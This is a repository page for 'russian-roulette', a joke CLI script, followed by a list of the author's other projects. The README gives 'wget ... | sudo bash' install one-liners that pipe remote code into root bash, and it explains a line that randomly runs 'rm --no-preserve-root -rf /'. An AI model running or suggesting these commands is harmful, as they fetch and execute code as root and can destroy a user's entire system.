• Stars
    star
    111
  • Rank 303,983 (Top 7 %)
  • Language
    Shell
  • License
    MIT License
  • Created about 8 years ago
  • Updated about 5 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

πŸ€ You want to push your luck? ... Go ahead and try your best with this CLI russian roulette! πŸ’₯

russian-roulette πŸ€ πŸ”«

See also the nasty git version of it: git-russian-roulette

You want to push your luck, or you're just extremely bored? OK – that's great!

Go ahead and challenge your luck with this awesome command line based Russian Roulette:

wget http://bit.ly/1Wa0uTo -O - | sudo bash

Or without the shortened URL:

wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/russian-roulette -O - | sudo bash

One-line Install:

wget https://raw.githubusercontent.com/timofurrer/russian-roulette/master/install.sh -O - | sudo bash

# use it with:
sudo russian-roulette

docker, because docker:

docker build . -t russian-roulette
docker run --rm -it russian-roulette

Install by cloning git repository:

git clone https://github.com/timofurrer/russian-roulette
cd russian-roulette
sudo make install

Officially supported shells:

  • bash
  • zsh

I'd be more than happy to accept pull requests to support other shells!

Use Cases

... of course there are use cases:

  • to challenge your luck
  • to kill time
  • to use as a drinking game
  • masochism
  • and a looooot more 😜

Just for the record...

...don't be stupid and play Russian Roulette – ever!

...what? You already played and lost? Well, better for you that you haven't made this decision with a loaded gun!

...and yes, it really does try to remove your entire system ...

But what does it actually do?

If you don't know what the script does, you really shouldn't be playing with it!

Let's break it down:

[ "$EUID" -ne 0 ] && echo "Seriously?! What a p***y, how about playing as root?" && exit

That line checks to see which user you're running the script as. If you're not playing as the root user with full permissions, nothing too bad will happen, so what's even the point in playing?! The script will then cease to run.

[ $(( $RANDOM % 6 )) -eq 0 ] && rm --no-preserve-root -rf / || echo "click"

This is the meat of the game. It generates a random number and gets the remainder after dividing by 6.

If the result is anything but 0, then your console will echo out a haunting, resounding "click"...

If the result is 0 (i.e., the random number was the loaded chamber) then it will execute the rm command which recursively and forcibly (which is what the -rf flags mean) removes all files and directories under your root directory (/) on the system.

The --no-preserve-root option is there to override the safety measure that would otherwise stop you from deleting the really important system files. You know, in case you were to do something stupid and play Russian Roulette with your hard drive...

More Repositories

1

awesome-asyncio

A curated list of awesome Python asyncio frameworks, libraries, software and resources
4,418
star
2

try

Dead simple CLI tool to try Python packages - It's never been easier! πŸ“¦
Python
705
star
3

colorful

Terminal string styling done right, in Python 🐍 πŸŽ‰
Python
520
star
4

w1thermsensor

A Python package and CLI tool to work with w1 temperature sensors like DS1822, DS18S20 & DS18B20 on the Raspberry Pi, Beagle Bone and other devices.
Python
485
star
5

shellfuncs

Python API to execute shell functions as they would be Python functions
Python
101
star
6

pandoc-plantuml-filter

Pandoc filter for PlantUML code blocks
Python
99
star
7

observable

minimalist event system for Python
Python
86
star
8

WOL

C program to send wol magic packets
C
79
star
9

pandoc-mermaid-filter

Pandoc filter for mermaid code blocks
Python
71
star
10

devheart

Listen to Tux's heartbeat with this awesome Linux Kernel Module ❀️
C
58
star
11

git-russian-roulette

πŸ€ play russian roulette in your git repository. πŸ”«
Shell
44
star
12

minion-ci

minimalist, decentralized, flexible Continuous Integration Server for hackers.
Python
43
star
13

javascript-style-guide

Ein vernΓΌnftiger Ansatz fΓΌr einen JavaScript-Style-Guide
35
star
14

securityheaders

πŸ”’ CLI application to analyse Security Headers from a given URL using securityheaders.io
Python
19
star
15

musichaos

tool to tidy up your music chaos
Python
17
star
16

dropbox-cli

cli to manage your dropbox account
Python
10
star
17

ariseem

Minimalistic REST API for wake-on-lan
Python
10
star
18

leaked

Find leaked information in different kind of services
Python
9
star
19

retry-cmd

Retry commands on the command line without all the loops you always used!
Rust
9
star
20

confluo

➰ Minimalist scalable microservice framework for distributed systems using AMQP/RabbitMQ.
Python
9
star
21

.vim

vim configuration for myself.
Vim Script
6
star
22

ramlient

Access to a RAML API done right, in Python. (Feasibility)
RAML
6
star
23

ptipython-meta

Metapackage to install ptpython and ipython.
Python
6
star
24

idn-homograph-attack

Resources for "IDN Homograph Attack" for HSLU FKOM blog post testat
HTML
6
star
25

avra-atmega2560

This repository is a clone of avra version 1.3.0 with additional fixes to support the ATmega2560 chip
C
5
star
26

embedeval

NLP Embeddings Evaluation Tool
Python
4
star
27

dotfiles.attic

My personal dotfiles
Shell
4
star
28

broadcom-wl-monitormode

This is a source mirror for the broadcom wl driver version 6.30.223.141 with fixed monitor mode
C
4
star
29

hslu-pren-fs19

Implementation of the PREN FS2019 challenge at @ HSLU
Jupyter Notebook
4
star
30

saythanks-cli

Say Thanks via CLI. Uses @kennethreitz's great saythanks.io
Python
4
star
31

tag-expressions

Python implementation of Shunting-yard Algorithm to evaluate logical tag expressions
Python
3
star
32

dotfiles-2

Vim Script
3
star
33

hslu-pren-digit-cnn

Convolutional Neural Network to recognize digits used in the PREN class @ HSLU
Jupyter Notebook
3
star
34

python3.10-pattern-matching

Python 3.10 demos
Jupyter Notebook
3
star
35

edelweiss

edelweiss. A delightful color scheme for my personal terminal stack
Lua
3
star
36

pylemon

python daemon to monitor specific directories and react on changes
2
star
37

advent-of-code

My solutions for the Advent of Code puzzles
Python
2
star
38

java-dev

Java dev environment (Vagrant, Ansible, VirtualBox, Ubuntu 16.04) for HSLU
2
star
39

hslu-webtec-testat

HSLU WebTec Testat
JavaScript
2
star
40

pysingleton

module which provides a decorator to create thread-safe singleton classes
Python
2
star
41

lightning-talk-linux-kernel-module-examples

Examples for my "Linux Kernel Modules 101" Lightning Talk ⚑
C
2
star
42

timofurrer.github.io

Personal website and blog
HTML
2
star
43

asciitable

print formatted ascii table on console
C
1
star
44

clicore

small cli to use in python programs
Python
1
star
45

hslu-roblab-behavior

Python
1
star
46

sudoku.vim

vim plugin to solve sudoku files
Python
1
star
47

.tmux

my tmux configuration
1
star
48

coverage-importlib-test

Python
1
star
49

schoolcli

This is a very useful command line interface to manage your school marks
Python
1
star
50

hslu-xml-technologies

HSLU - XML Technologies - Projektarbeit
XSLT
1
star
51

hslu-ipcv

Exercises for the IPCV class @ HSLU
Jupyter Notebook
1
star
52

hslu-dbs

HSLU - DBS
TypeScript
1
star
53

hslu-aiso

HSLU AISO Class Exercises
Jupyter Notebook
1
star
54

dotfiles

Lua
1
star